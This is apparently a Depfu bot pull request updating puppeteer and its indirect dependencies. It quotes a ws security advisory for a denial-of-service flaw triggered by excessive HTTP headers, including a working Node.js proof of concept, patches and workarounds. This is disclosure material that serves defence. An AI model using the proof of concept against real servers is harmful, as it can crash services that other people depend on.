🚨 [security] Update puppeteer 22.9.0 → 22.11.2 (minor)

[depfu[bot]]

---

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

---

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ puppeteer (22.9.0 → 22.11.2) · Repo · Changelog

Release Notes

22.11.2 (from changelog)

More info than we can show here.

22.10.1 (from changelog)

More info than we can show here.

22.10.0 (from changelog)

More info than we can show here.

Does any of this look wrong? Please let us know.

↗️ bare-events (indirect, 2.2.2 → 2.4.2) · Repo

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ puppeteer-core (indirect, 22.9.0 → 22.11.2) · Repo · Changelog

Release Notes

22.11.2 (from changelog)

More info than we can show here.

22.11.0 (from changelog)

More info than we can show here.

22.10.1 (from changelog)

More info than we can show here.

22.10.0 (from changelog)

More info than we can show here.

Does any of this look wrong? Please let us know.

↗️ streamx (indirect, 2.16.1 → 2.18.0) · Repo

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ tslib (indirect, 2.6.2 → 2.6.3) · Repo

Release Notes

2.6.3

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ ws (indirect, 8.17.0 → 8.17.1) · Repo

Security Advisories 🚨

🚨 ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in #2230.

References

• #2230
• #2231

Release Notes

8.17.1

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ zod (indirect, 3.22.4 → 3.23.8) · Repo · Changelog

Release Notes

3.23.8

More info than we can show here.

3.23.7

More info than we can show here.

3.23.6

More info than we can show here.

3.23.5

More info than we can show here.

3.23.4

More info than we can show here.

3.23.3

More info than we can show here.

3.23.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 text-decoder (added, 1.1.0)

🆕 debug (added, 4.3.5)

---

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@​depfu rebase

Rebases against your default branch and redoes this update

@​depfu recreate

Recreates this PR, overwriting any edits that you've made to it

@​depfu merge

Merges this PR once your tests are passing and conflicts are resolved

@​depfu cancel merge

Cancels automatic merging of this PR

@​depfu close

Closes this PR and deletes the branch

@​depfu reopen

Restores the branch and reopens this PR (if it's closed)

@​depfu pause

Ignores all future updates for this dependency and closes this PR

@​depfu pause [minor|major]

Ignores all future minor/major updates for this dependency and closes this PR

@​depfu resume

Future versions of this dependency will create PRs again (leaves this PR as is)